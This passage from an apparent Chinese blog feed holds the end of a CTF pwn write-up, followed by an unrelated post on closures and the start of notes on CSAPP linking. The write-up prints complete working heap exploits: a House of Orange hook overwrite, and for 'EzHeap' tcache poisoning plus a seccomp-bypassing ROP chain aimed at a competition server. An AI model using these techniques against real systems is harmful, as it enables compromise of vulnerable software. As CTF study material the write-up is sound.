class="title function_">menu</span>():</span><br><span class="line"> p.recvuntil(<span class="string">b'###orange_cat_diary###'</span>)</span><br><span class="line"> p.recvuntil(<span class="string">b'Please input your choice:'</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">add</span>(<span class="params">size, content</span>):</span><br><span class="line"> menu()</span><br><span class="line"> p.sendline(<span class="string">b'1'</span>)</span><br><span class="line"> p.recvuntil(<span class="string">b'Please input the length of the diary content:'</span>)</span><br><span class="line"> p.sendline(<span class="built_in">str</span>(size).encode())</span><br><span class="line"> p.recvuntil(<span class="string">b'Please enter the diary content:\n'</span>)</span><br><span class="line"> p.send(content)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">show</span>():</span><br><span class="line"> menu()</span><br><span class="line"> p.sendline(<span class="string">b'2'</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">delete</span>():</span><br><span class="line"> menu()</span><br><span class="line"> p.sendline(<span class="string">b'3'</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">edit</span>(<span class="params">size, content</span>):</span><br><span class="line"> menu()</span><br><span class="line"> p.sendline(<span class="string">b'4'</span>)</span><br><span class="line"> p.recvuntil(<span class="string">b'Please input the length of the diary content:'</span>)</span><br><span class="line"> p.sendline(<span class="built_in">str</span>(size).encode())</span><br><span class="line"> p.recvuntil(<span class="string">b'Please enter the diary content:\n'</span>)</span><br><span class="line"> p.send(content)</span><br><span class="line"></span><br><span class="line"><span class="comment"># House of Orange</span></span><br><span class="line">add(<span class="number">0x400</span>-<span class="number">8</span>, <span class="string">b'A'</span>*(<span class="number">0x400</span>-<span class="number">16</span>) + p64(<span class="number">0x0</span>))</span><br><span class="line">payload = <span class="string">b'A'</span>*(<span class="number">0x400</span>-<span class="number">16</span>) + p64(<span class="number">0x0</span>) + p64(<span class="number">0xc01</span>)</span><br><span class="line">edit(<span class="number">0x400</span>, payload)</span><br><span class="line">add(<span class="number">0x1000</span>, <span class="string">b'\n'</span>)</span><br><span class="line">add(<span class="number">0x68</span>, <span class="string">b'\n'</span>)</span><br><span class="line">show()</span><br><span class="line">p.recv(<span class="number">8</span>)</span><br><span class="line">libc_leak = u64(p.recv(<span class="number">8</span>))</span><br><span class="line">info(<span class="string">f'libc_leak: <span class="subst">{<span class="built_in">hex</span>(libc_leak)}</span>'</span>)</span><br><span class="line">libc.address = libc_leak - libc_offset</span><br><span class="line">info(<span class="string">f'libc_base: <span class="subst">{<span class="built_in">hex</span>(libc.address)}</span>'</span>)</span><br><span class="line">malloc_hook_addr = libc.symbols[<span class="string">'__malloc_hook'</span>]</span><br><span class="line">info(<span class="string">f'malloc_hook_addr: <span class="subst">{<span class="built_in">hex</span>(malloc_hook_addr)}</span>'</span>)</span><br><span class="line">fake_bin_addr = malloc_hook_addr - <span class="number">0x23</span></span><br><span class="line">heap_leak = u64(p.recv(<span class="number">8</span>))</span><br><span class="line">info(<span class="string">f'heap_leak: <span class="subst">{<span class="built_in">hex</span>(heap_leak)}</span>'</span>)</span><br><span class="line">one_gadget = libc.address + one_gadget_offset</span><br><span class="line">info(<span class="string">f'one_gadget: <span class="subst">{<span class="built_in">hex</span>(one_gadget)}</span>'</span>)</span><br><span class="line">realloc = libc.sym[<span class="string">'realloc'</span>]</span><br><span class="line">info(<span class="string">f'realloc: <span class="subst">{<span class="built_in">hex</span>(realloc)}</span>'</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># overwrite __malloc_hook and __realloc_hook</span></span><br><span class="line">delete()</span><br><span class="line">edit(<span class="number">0x68</span>, p64(fake_bin_addr) + p64(fake_bin_addr) + <span class="string">b'\n'</span>)</span><br><span class="line">add(<span class="number">0x68</span>, cyclic(<span class="number">0x68</span>))</span><br><span class="line">payload = <span class="string">b'a'</span>*<span class="number">0xb</span> + p64(one_gadget) + p64(realloc)</span><br><span class="line">add(<span class="number">0x68</span>, payload + <span class="string">b'\n'</span>)</span><br><span class="line"><span class="comment"># gdb.attach(p, '')</span></span><br><span class="line">p.send(<span class="string">b'1'</span>)</span><br><span class="line"></span><br><span class="line">p.interactive()</span><br></pre></td></tr></tbody></table></figure>
<p>get shell 并得到 flag :</p>
<figure class="highlight plaintext"><table><tbody><tr><td class="code"><pre><span class="line">flag{2a6de11d-8a93-484d-9444-7d1046c55134}</span><br></pre></td></tr></tbody></table></figure>
<h3 id="EzHeap"><a href="#EzHeap" class="headerlink" title="EzHeap"></a>EzHeap</h3><p>我刚开始放 payload 的堆选了0x80大小,根本放不下 ROP chain ,直接导致比赛结束时没来得及将这题做完,赛后十来分钟改了个大小就打通了。</p>
<p>又一道堆题,但是使用 seccomp 限制了系统调用:</p>
<figure class="highlight bash"><table><tbody><tr><td class="code"><pre><span class="line">$ seccomp-tools dump ./EzHeap</span><br><span class="line"> line CODE JT JF K</span><br><span class="line">=================================</span><br><span class="line"> 0000: 0x20 0x00 0x00 0x00000004 A = <span class="built_in">arch</span></span><br><span class="line"> 0001: 0x15 0x00 0x09 0xc000003e <span class="keyword">if</span> (A != ARCH_X86_64) goto 0011</span><br><span class="line"> 0002: 0x20 0x00 0x00 0x00000000 A = sys_number</span><br><span class="line"> 0003: 0x35 0x00 0x01 0x40000000 <span class="keyword">if</span> (A < 0x40000000) goto 0005</span><br><span class="line"> 0004: 0x15 0x00 0x06 0xffffffff <span class="keyword">if</span> (A != 0xffffffff) goto 0011</span><br><span class="line"> 0005: 0x15 0x04 0x00 0x00000000 <span class="keyword">if</span> (A == <span class="built_in">read</span>) goto 0010</span><br><span class="line"> 0006: 0x15 0x03 0x00 0x00000001 <span class="keyword">if</span> (A == write) goto 0010</span><br><span class="line"> 0007: 0x15 0x02 0x00 0x00000002 <span class="keyword">if</span> (A == open) goto 0010</span><br><span class="line"> 0008: 0x15 0x01 0x00 0x0000000a <span class="keyword">if</span> (A == mprotect) goto 0010</span><br><span class="line"> 0009: 0x15 0x00 0x01 0x0000003c <span class="keyword">if</span> (A != <span class="built_in">exit</span>) goto 0011</span><br><span class="line"> 0010: 0x06 0x00 0x00 0x7fff0000 <span class="built_in">return</span> ALLOW</span><br><span class="line"> 0011: 0x06 0x00 0x00 0x00000000 <span class="built_in">return</span> KILL</span><br></pre></td></tr></tbody></table></figure>
<p>因此很容易想到先用 <code>mprotect</code> 更改页面权限,然后 orw 直接读 flag。但是我最后没有使用 <code>mprotect</code> ,直接在栈上构造 ROP chain 来进行 orw 。</p>
<p>分析程序,发现漏洞:</p>
<ol>
<li>极大 heap overflow </li>
<li>输入无 0 截断可导致相邻内存泄漏</li>
</ol>
<p>而且最多允许我们 <code>malloc</code> 80个堆块,因此应该有不少利用方法。我主要利用 <a href="https://github.com/shellphish/how2heap/blob/master/glibc_2.35/tcache_poisoning.c">tcache poisoning</a> 。攻击思路如下:</p>
<ul>
<li><p>首先利用堆溢出和相邻内存泄露,通过程序内已经有的 unsorted bins 等堆块,泄露 libc 和 heap 地址</p>
</li>
<li><p>计算 libc 中 <code>__environ</code> 的地址,利用 tcache poisoning 获得该地址处的堆块进行读,泄露 stack 地址</p>
<p>libc 版本为2.35,因此要手动 <a href="https://github.com/shellphish/how2heap/blob/master/glibc_2.35/decrypt_safe_linking.c">safe link</a> </p>
</li>
<li><p>在某个堆块中写入 <code>flag\x00</code> 用于 orw ,搜集 gadgets 构造 ROP chain 。值得注意的是不能直接调用库函数 orw ,因为库函数的<code>open</code> 往往使用 <code>openat</code> 系统调用,会被禁止。因此我直接选择全部使用 <code>syscall ; ret</code> gadget ,这也是导致我 payload 巨大的原因。</p>
</li>
<li><p>在 <code>malloc_heap</code> 操作对应函数的 <code>ret</code> 处下断点,计算此时 stack 地址与泄露 stack 地址的偏移,然后再利用 tcache poisoning 获得目标地址附近(<code>target_stack-0x8</code>,因为要16字节对齐且不能破坏canary)的堆块进行写。payload 为 8 字节的 rbp 填充加上 ROP chain 。<code>malloc_heap</code> 返回时会被劫持到该 ROP chain 。</p>
</li>
</ul>
<p>exp 如下:</p>
<figure class="highlight python"><table><tbody><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">context.binary = binary = ELF(<span class="string">'./EzHeap'</span>)</span><br><span class="line">libc = binary.libc</span><br><span class="line"><span class="comment"># context.log_level = 'critical'</span></span><br><span class="line"></span><br><span class="line">libc_offset = <span class="number">0x21ace0</span></span><br><span class="line">heap_offset = <span class="number">0x1040</span></span><br><span class="line">tcache_50_offset = <span class="number">0x4d0</span></span><br><span class="line">tcache_110_offset = <span class="number">0x2420</span></span><br><span class="line">heap_flag_offset = <span class="number">0x2420</span></span><br><span class="line">stack_offset = <span class="number">0x170</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># p = binary.process()</span></span><br><span class="line">p = remote(<span class="string">'8.147.133.76'</span>, <span class="number">13951</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">menu</span>():</span><br><span class="line"> p.recvuntil(<span class="string">b'choice >> '</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">malloc_heap</span>(<span class="params">size, content</span>):</span><br><span class="line"> menu()</span><br><span class="line"> p.sendline(<span class="string">b'1'</span>)</span><br><span class="line"> p.recvuntil(<span class="string">b'size:'</span>)</span><br><span class="line"> p.sendline(<span class="built_in">str</span>(size).encode())</span><br><span class="line"> p.recvuntil(<span class="string">b'content:'</span>)</span><br><span class="line"> p.send(content)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">free_heap</span>(<span class="params">index</span>):</span><br><span class="line"> menu()</span><br><span class="line"> p.sendline(<span class="string">b'2'</span>)</span><br><span class="line"> p.recvuntil(<span class="string">b'idx:'</span>)</span><br><span class="line"> p.sendline(<span class="built_in">str</span>(index).encode())</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">edit_heap</span>(<span class="params">index, size, content</span>):</span><br><span class="line"> menu()</span><br><span class="line"> p.sendline(<span class="string">b'3'</span>)</span><br><span class="line"> p.recvuntil(<span class="string">b'idx:'</span>)</span><br><span class="line"> p.sendline(<span class="built_in">str</span>(index).encode())</span><br><span class="line"> p.recvuntil(<span class="string">b'size:'</span>)</span><br><span class="line"> p.sendline(<span class="built_in">str</span>(size).encode())</span><br><span class="line"> p.recvuntil(<span class="string">b'content:'</span>)</span><br><span class="line"> p.send(content)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">show_heap</span>(<span class="params">index</span>):</span><br><span class="line"> menu()</span><br><span class="line"> p.sendline(<span class="string">b'4'</span>)</span><br><span class="line"> p.recvuntil(<span class="string">b'idx:'</span>)</span><br><span class="line"> p.sendline(<span class="built_in">str</span>(index).encode())</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">exit_program</span>():</span><br><span class="line"> menu()</span><br><span class="line"> p.sendline(<span class="string">b'5'</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">mangle</span>(<span class="params">pos, ptr, page_offset=<span class="number">0</span></span>):</span><br><span class="line"> <span class="keyword">return</span> ((pos >> <span class="number">12</span>) + page_offset) ^ ptr</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">demangle</span>(<span class="params">ptr, page_offset=<span class="number">0</span></span>):</span><br><span class="line"> pos = (ptr >> <span class="number">12</span>) + page_offset</span><br><span class="line"> m = pos ^ ptr</span><br><span class="line"> <span class="keyword">return</span> m >> <span class="number">24</span> ^ m</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">leak_heap_libc</span>():</span><br><span class="line"> <span class="keyword">global</span> heap_leak, libc_leak</span><br><span class="line"> <span class="comment"># idx 0</span></span><br><span class="line"> malloc_heap(<span class="number">0x40</span>, <span class="string">b'A'</span>*<span class="number">0x40</span>)</span><br><span class="line"> edit_heap(<span class="number">0</span>, <span class="number">0x50</span>, <span class="string">b'A'</span>*<span class="number">0x50</span>)</span><br><span class="line"> show_heap(<span class="number">0</span>)</span><br><span class="line"> p.recvuntil(<span class="string">b'A'</span>*<span class="number">0x50</span>)</span><br><span class="line"> libc_leak = u64(p.recv(<span class="number">6</span>).ljust(<span class="number">8</span>, <span class="string">b'\x00'</span>))</span><br><span class="line"> edit_heap(<span class="number">0</span>, <span class="number">0xd0</span>, <span class="string">b'B'</span>*<span class="number">0xd0</span>)</span><br><span class="line"> show_heap(<span class="number">0</span>)</span><br><span class="line"> p.recvuntil(<span class="string">b'B'</span>*<span class="number">0xd0</span>)</span><br><span class="line"> heap_leak = u64(p.recv(<span class="number">6</span>).ljust(<span class="number">8</span>, <span class="string">b'\x00'</span>))</span><br><span class="line"> payload = <span class="string">b'A'</span>*<span class="number">0x40</span> + p64(<span class="number">0</span>) + p64(<span class="number">0xa1</span>) + p64(libc_leak) + p64(libc_leak)</span><br><span class="line"> payload = payload.ljust(<span class="number">0xd0</span>, <span class="string">b'\x00'</span>)</span><br><span class="line"> edit_heap(<span class="number">0</span>, <span class="number">0xd0</span>, payload)</span><br><span class="line"></span><br><span class="line"><span class="comment">### stage1: leak libc and heap</span></span><br><span class="line">leak_heap_libc()</span><br><span class="line">info(<span class="string">f'[LEAK] heap_leak: <span class="subst">{<span class="built_in">hex</span>(heap_leak)}</span>'</span>)</span><br><span class="line">info(<span class="string">f'[LEAK] libc_leak: <span class="subst">{<span class="built_in">hex</span>(libc_leak)}</span>'</span>)</span><br><span class="line">libc.address = libc_leak - libc_offset</span><br><span class="line">heap_base = heap_leak - heap_offset</span><br><span class="line">info(<span class="string">f'[CALC] libc_base: <span class="subst">{<span class="built_in">hex</span>(libc.address)}</span>'</span>)</span><br><span class="line">info(<span class="string">f'[CALC] heap_base: <span class="subst">{<span class="built_in">hex</span>(heap_base)}</span>'</span>)</span><br><span class="line">environ_addr = libc.sym[<span class="string">'__environ'</span>]</span><br><span class="line">info(<span class="string">f'[CALC] environ_addr: <span class="subst">{<span class="built_in">hex</span>(environ_addr)}</span>'</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment">### stage2: leak stack</span></span><br><span class="line"><span class="comment"># idx1</span></span><br><span class="line">malloc_heap(<span class="number">0x40</span>, <span class="string">b'B'</span>*<span class="number">0x40</span>)</span><br><span class="line"><span class="comment"># idx2</span></span><br><span class="line">malloc_heap(<span class="number">0x40</span>, <span class="string">b'C'</span>*<span class="number">0x40</span>)</span><br><span class="line">free_heap(<span class="number">2</span>)</span><br><span class="line">free_heap(<span class="number">1</span>)</span><br><span class="line">mangled_environ_addr = mangle(heap_base + tcache_50_offset, environ_addr - <span class="number">0x40</span>)</span><br><span class="line">info(<span class="string">f'[CALC] mangled_environ_addr: <span class="subst">{<span class="built_in">hex</span>(mangled_environ_addr)}</span>'</span>)</span><br><span class="line">payload = <span class="number">0x40</span> * <span class="string">b'A'</span> + p64(<span class="number">0</span>) + p64(<span class="number">0x51</span>) + p64(mangled_environ_addr)</span><br><span class="line">edit_heap(<span class="number">0</span>, <span class="number">0x58</span>, payload)</span><br><span class="line"><span class="comment"># idx1</span></span><br><span class="line">malloc_heap(<span class="number">0x40</span>, <span class="string">b'B'</span>*<span class="number">0x40</span>)</span><br><span class="line"><span class="comment"># idx2(environ_addr - 0x40)</span></span><br><span class="line">malloc_heap(<span class="number">0x40</span>, <span class="string">b'C'</span>*<span class="number">0x40</span>)</span><br><span class="line">show_heap(<span class="number">2</span>)</span><br><span class="line">p.recvuntil(<span class="string">b'C'</span>*<span class="number">0x40</span>)</span><br><span class="line">stack_leak = u64(p.recv(<span class="number">6</span>).ljust(<span class="number">8</span>, <span class="string">b'\x00'</span>))</span><br><span class="line">info(<span class="string">f'[LEAK] stack_leak: <span class="subst">{<span class="built_in">hex</span>(stack_leak)}</span>'</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment">### stage3: overwrite stack with rop chain</span></span><br><span class="line"><span class="comment"># idx3</span></span><br><span class="line">malloc_heap(<span class="number">0x100</span>, <span class="string">b'D'</span>*<span class="number">0x100</span>)</span><br><span class="line"><span class="comment"># idx4</span></span><br><span class="line">malloc_heap(<span class="number">0x100</span>, <span class="string">b'E'</span>*<span class="number">0x100</span>)</span><br><span class="line"><span class="comment"># idx5</span></span><br><span class="line">malloc_heap(<span class="number">0x100</span>, <span class="string">b'F'</span>*<span class="number">0x100</span>)</span><br><span class="line">free_heap(<span class="number">5</span>)</span><br><span class="line">free_heap(<span class="number">4</span>)</span><br><span class="line">target_stack = stack_leak - stack_offset</span><br><span class="line">info(<span class="string">f'[CALC] target_stack: <span class="subst">{<span class="built_in">hex</span>(target_stack)}</span>'</span>)</span><br><span class="line">mangled_stack = mangle(heap_base + tcache_110_offset, target_stack-<span class="number">0x8</span>)</span><br><span class="line">info(<span class="string">f'[CALC] mangled_stack: <span class="subst">{<span class="built_in">hex</span>(mangled_stack)}</span>'</span>)</span><br><span class="line">payload = <span class="number">0x100</span> * <span class="string">b'A'</span> + p64(<span class="number">1</span>) + p64(<span class="number">0x91</span>) + p64(mangled_stack)</span><br><span class="line">edit_heap(<span class="number">3</span>, <span class="number">0x118</span>, payload)</span><br><span class="line"><span class="comment"># idx4</span></span><br><span class="line"><span class="comment"># gdb.attach(p)</span></span><br><span class="line">malloc_heap(<span class="number">0x100</span>, <span class="string">b'flag\x00'</span>.ljust(<span class="number">0x100</span>, <span class="string">b'\x00'</span>))</span><br><span class="line"><span class="comment"># idx5(target_stack-0x20)</span></span><br><span class="line">payload = p64(stack_leak)</span><br><span class="line">flag_addr = heap_base + heap_flag_offset</span><br><span class="line">rop = ROP(libc)</span><br><span class="line"><span class="comment"># raw orw</span></span><br><span class="line">syscall_gadget = rop.find_gadget([<span class="string">'syscall'</span>, <span class="string">'ret'</span>]).address</span><br><span class="line">pop_rax = rop.find_gadget([<span class="string">'pop rax'</span>, <span class="string">'ret'</span>]).address</span><br><span class="line">pop_rdi = rop.find_gadget([<span class="string">'pop rdi'</span>, <span class="string">'ret'</span>]).address</span><br><span class="line">pop_rsi = rop.find_gadget([<span class="string">'pop rsi'</span>, <span class="string">'ret'</span>]).address</span><br><span class="line"><span class="comment"># pop_rdx = rop.find_gadget(['pop rdx', 'ret']).address</span></span><br><span class="line">pop_rdx_r12 = libc.address + <span class="number">0x000000000011f2e7</span></span><br><span class="line"><span class="comment"># open('flag.txt', 0, 0)</span></span><br><span class="line">payload += p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(<span class="number">0</span>) + p64(pop_rdx_r12) + p64(<span class="number">0</span>) + p64(<span class="number">0</span>)+ p64(pop_rax) + p64(<span class="number">2</span>) + p64(syscall_gadget)</span><br><span class="line"><span class="comment"># read(3, target_stack+0x100, 0x100)</span></span><br><span class="line">payload += p64(pop_rdi) + p64(<span class="number">3</span>) + p64(pop_rsi) + p64(target_stack+<span class="number">0x100</span>) + p64(pop_rdx_r12) + p64(<span class="number">0x100</span>) + p64(<span class="number">0</span>)+ p64(pop_rax) + p64(<span class="number">0</span>) + p64(syscall_gadget)</span><br><span class="line"><span class="comment"># write(1, target_stack+0x100, 0x100)</span></span><br><span class="line">payload += p64(pop_rdi) + p64(<span class="number">1</span>) + p64(pop_rsi) + p64(target_stack+<span class="number">0x100</span>) + p64(pop_rdx_r12) + p64(<span class="number">0x100</span>) + p64(<span class="number">0</span>)+ p64(pop_rax) + p64(<span class="number">1</span>) + p64(syscall_gadget)</span><br><span class="line">payload += rop.chain()</span><br><span class="line">payload = payload.ljust(<span class="number">0x100</span>, <span class="string">b'\x00'</span>)</span><br><span class="line"><span class="comment"># gdb.attach(p, 'b *$rebase(0x16cd)')</span></span><br><span class="line">malloc_heap(<span class="number">0x100</span>, payload)</span><br><span class="line">flag = p.recvuntil(<span class="string">b'}'</span>)</span><br><span class="line">success(<span class="string">f'[FLAG] <span class="subst">{flag.decode()}</span>'</span>)</span><br></pre></td></tr></tbody></table></figure>
<p>最后得到 flag :</p>
<figure class="highlight plaintext"><table><tbody><tr><td class="code"><pre><span class="line">flag{c9112d19-27e3-41ec-9957-fefb3f109229}</span><br></pre></td></tr></tbody></table></figure>]]></content>
<categories>
<category>CTF</category>
</categories>
<tags>
<tag>PWN</tag>
<tag>Crypto</tag>
<tag>Misc</tag>
<tag>Reverse</tag>
</tags>
</entry>
<entry>
<title>谈谈闭包</title>
<url>/posts/closure/</url>
<content><![CDATA[<p>在学习JS的过程中,我遇到了闭包这个概念,当时并没有在意。直到最近我开始自学python,在廖雪峰老师的python教程中又一次看到了这个名词,我才意识到闭包其实是一个重要的概念,或者说特性,许多高级语言支持闭包(比如近些年比较火的Go语言)。于是我查看了相关文档、教程,打算谈谈我对闭包的一些认识。<span id="more"></span></p>
<h2 id="闭包的定义"><a href="#闭包的定义" class="headerlink" title="闭包的定义"></a>闭包的定义</h2><p>闭包有许多不同的定义,个人认为最简洁而达意的是<a href="https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Closures#%E9%97%AD%E5%8C%85">MDN</a>对于闭包的定义:</p>
<blockquote>
<p><strong>闭包</strong>(closure)是一个函数以及其捆绑的周边环境状态(<strong>lexical environment</strong>,<strong>词法环境</strong>)的引用的组合。换而言之,闭包让开发者可以从内部函数访问外部函数的作用域。</p>
</blockquote>
<h2 id="词法环境"><a href="#词法环境" class="headerlink" title="词法环境"></a>词法环境</h2><p>维基百科这样描述闭包中的词法环境:</p>
<blockquote>
<p>环境里是若干对符号和值的对应关系,它既要包括<a href="https://zh.wikipedia.org/wiki/%E7%BA%A6%E6%9D%9F%E5%8F%98%E9%87%8F">约束变量</a>(该函数内部绑定的符号),也要包括<a href="https://zh.wikipedia.org/wiki/%E8%87%AA%E7%94%B1%E5%8F%98%E9%87%8F">自由变量</a>(在函数外部定义但在函数内被引用),有些函数也可能没有自由变量。</p>
</blockquote>
<p>简单来说,词法环境包含两部分:</p>
<ul>
<li>环境记录:存储符号-值对</li>
<li>对外部环境的引用:对父级词法环境的引用。</li>
</ul>
<p>也就是说,一个函数的词法环境包含了在函数中的符号定义和函数外部的词法环境。考虑如下python代码:</p>
<figure class="highlight python"><table><tbody><tr><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">init</span>():</span><br><span class="line"> name = <span class="string">"BeaCox"</span></span><br><span class="line"> <span class="keyword">def</span> <span class="title function_">displayName</span>():</span><br><span class="line"> greeting = <span class="string">"Hello"</span></span><br><span class="line"> <span class="built_in">print</span>(greeting+<span class="string">', '</span>+name)</span><br><span class="line"> displayName()</span><br><span class="line">init()</span><br></pre></td></tr></tbody></table></figure>
<p><code>displayName</code>函数的词法环境包含了环境记录(<code>greeting</code>的符号-值对)以及对外部环境的引用(<code>name</code>和<code>displayName</code>的符号-值对),这也就是在<code>displayName</code>函数中可以访问<code>name</code>变量的原因。执行<code>displayName</code>函数,其实就是创建了一个闭包。</p>
<h2 id="使用闭包"><a href="#使用闭包" class="headerlink" title="使用闭包"></a>使用闭包</h2><p>看完上面的例子,好像有点迷糊了:这不就是“内层作用域可以访问外层作用域的变量”吗?C++不支持闭包,不也能完成上面的工作吗?这是因为上面的例子并没有展示出闭包函数与词法环境<strong>捆绑</strong>的特性。将上面的代码稍加改动:</p>
<figure class="highlight python"><table><tbody><tr><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">init</span>():</span><br><span class="line"> name = <span class="string">"BeaCox"</span></span><br><span class="line"> <span class="keyword">def</span> <span class="title function_">displayName</span>():</span><br><span class="line"> greeting = <span class="string">"Hello"</span></span><br><span class="line"> <span class="built_in">print</span>(greeting+<span class="string">', '</span>+name)</span><br><span class="line"> <span class="keyword">return</span> displayName</span><br><span class="line">outsideDisplay=init()</span><br><span class="line">outsideDisplay()</span><br></pre></td></tr></tbody></table></figure>
<p>这段代码与上面不同的地方在于,<code>displayName</code>函数并不在<code>init</code>函数中执行,而是作为返回值,在<code>init</code>函数外部,有一个<code>outsideDisplay</code>接收了这个返回值。<br>如果我们从C++的思想来考虑这段代码,会发现:在<code>init</code>函数执行完后,局部变量<code>name</code>已经被回收,这时候<code>outsideDisplay</code>中<code>name</code>变量是没有被定义的,这段代码应该不能正常运行。<br>然而,我们运行这段python程序后会发现,终端正常输出<code>Hello, BeaCox</code>,这就是闭包的魔力!</p>
<p>这段程序之所以正常运行的原因,就是<code>python</code>中返回函数会形成闭包。闭包是由函数以及声明该函数的词法环境组合而成的。该环境包含了这个闭包创建时作用域内的任何局部变量。在本例子中,<code>outsideDisplay</code> 是执行 <code>init</code> 时创建的 <code>displayName</code> 函数实例的引用。<code>displayName</code> 函数和其捆绑的<strong>词法环境</strong>(变量 <code>name</code> 存在于其中)的引用形成了一个闭包,因此<code>init</code>函数执行完毕后,该词法环境没有消失,变量<code>name</code>也没有被回收。因此,当 <code>outsideDisplay</code> 被调用时,变量 <code>name</code> 仍然可用,程序能够正确运行。</p>
<h2 id="闭包的用途"><a href="#闭包的用途" class="headerlink" title="闭包的用途"></a>闭包的用途</h2><h3 id="模拟公有成员函数对私有变量的操作"><a href="#模拟公有成员函数对私有变量的操作" class="headerlink" title="模拟公有成员函数对私有变量的操作"></a>模拟公有成员函数对私有变量的操作</h3><p>读完上述代码不难发现,<code>outsideDisplay</code>函数在<code>init</code>函数外部调用,但却访问到了<code>init</code>函数内部的变量。这与C++中,调用类的公有成员函数来操作类的私有变量非常相似。与C++不同,python不存在严格意义上的私有变量,python通过以双下划线为开头来命名变量的方式,实现的是一种伪私有变量,它<strong>不应该</strong>被从外部访问,而不是<strong>不能</strong>被从外部访问。python、JavaScript等不支持严格私有变量的语言可以通过创建闭包来模拟公有成员函数对私有变量的操作</p>
<h3 id="创建一个生命周期极长的局部变量"><a href="#创建一个生命周期极长的局部变量" class="headerlink" title="创建一个生命周期极长的局部变量"></a>创建一个生命周期极长的局部变量</h3><p>观察上述例子,<code>outsideDisplay</code>函数可以继续重复运行,直到整个程序终止。也就是说<code>name</code>变量直到程序运行结束之前,都一直存在于内存中。听起来貌似很像全局变量,但这个变量却是一个局部变量。仅这个程序而言,这个变量只能被<code>outsideDisplay</code>函数和<code>init</code>函数访问。</p>
<h2 id="闭包可能导致的问题"><a href="#闭包可能导致的问题" class="headerlink" title="闭包可能导致的问题"></a>闭包可能导致的问题</h2><h3 id="内存泄漏"><a href="#内存泄漏" class="headerlink" title="内存泄漏"></a>内存泄漏</h3><blockquote>
<p> <em>内存泄漏</em>(Memory Leak)是指程序中已动态分配的堆内存由于某种原因程序未释放或无法释放,造成系统内存的浪费,导致程序运行速度减慢甚至系统崩溃等严重后果。</p>
</blockquote>
<p>上文提到,闭包可以创建一个生命周期极长(直到程序运行结束前始终留存在内存中)的变量,如果这样的变量过多,就会导致程序运行速度减慢甚至系统崩溃。</p>
<h3 id="在循环中创建闭包导致意料之外的错误"><a href="#在循环中创建闭包导致意料之外的错误" class="headerlink" title="在循环中创建闭包导致意料之外的错误"></a>在循环中创建闭包导致意料之外的错误</h3><p>廖雪峰老师的python教程中给出了一个这样的例子:</p>
<figure class="highlight python"><table><tbody><tr><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">count</span>():</span><br><span class="line"> fs = []</span><br><span class="line"> <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">1</span>, <span class="number">4</span>)://i从<span class="number">1</span>到<span class="number">3</span></span><br><span class="line"> <span class="keyword">def</span> <span class="title function_">f</span>():</span><br><span class="line"> <span class="keyword">return</span> i*i</span><br><span class="line"> fs.append(f)</span><br><span class="line"> <span class="keyword">return</span> fs</span><br><span class="line"></span><br><span class="line">f1, f2, f3 = count()</span><br></pre></td></tr></tbody></table></figure>
<p>这段程序的期望目标是f1, f2, f3分别返回1,4,9。实际返回9, 9, 9。这是因为每个<code>f()</code>函数捆绑外部词法环境中的<code>i</code>是对<code>i</code>的引用,在<code>return fs</code>之前,<code>i</code>已经变成3了,因此每个<code>f()</code>函数返回的都是<code>3*3</code>。</p>
<p>因此,要尽量避免在循环中创建闭包。如若必需,务必要谨慎!</p>
]]></content>
<categories>
<category>前端</category>
</categories>
<tags>
<tag>javascript</tag>
<tag>python</tag>
</tags>
</entry>
<entry>
<title>《深入理解计算机系统》第7章:链接 阅读报告</title>
<url>/posts/csapp-7/</url>
<content><![CDATA[<p>这篇文章是阅读《深入理解计算机系统》第7章:链接后写下的,很多地方写得并不详细,也无法保证完全正确。主要是为了记录我学习链接相关知识的过程,仅供参考。<span id="more"></span></p>
<h2 id="什么是链接?"><a href="#什么是链接?" class="headerlink" title="什么是链接?"></a>什么是链接?</h2><blockquote>
<p> 链接是将各种代码和数据片段收集并组合成为一个单一文件的过程,这个文件可被加载(复制)到内存并执行。</p>
</blockquote>
<p>链接可以执行于编译时、加载时、运行时。</p>
<h2 id="编译器驱动程序"><a href="#编译器驱动程序" class="headerlink" title="编译器驱动程序"></a>编译器驱动程序</h2><blockquote>
<p>大多数编译系统提供<em>编译器驱动程序</em>(compile driver),它代表用户在需要时调用语言预处理器、编译器、汇编器和链接器。</p>
</blockquote>
<p>用GNU编译系统构造程序时,我们调用<em>GCC</em>(GNU Compiler Collection)驱动程序。</p>
<p>GCC有几个常用的参数:</p>
<table>
<thead>
<tr>
<th>参数</th>
<th>功能</th>
</tr>
</thead>
<tbody><tr>
<td>-c</td>
<td>将源文件编译成目标文件但不链接</td>
</tr>
<tr>
<td>-d</td>
<td>在执行过程中打印出所有的调试信息</td>
</tr>
<tr>
<td>-S</td>
<td>将源文件编译成汇编代码,不进行汇编和链接</td>
</tr>
<tr>
<td>-E</td>
<td>只对源文件进行预处理,不进行编译、汇编、链接</td>
</tr>
<tr>
<td>-o <file></file></td>
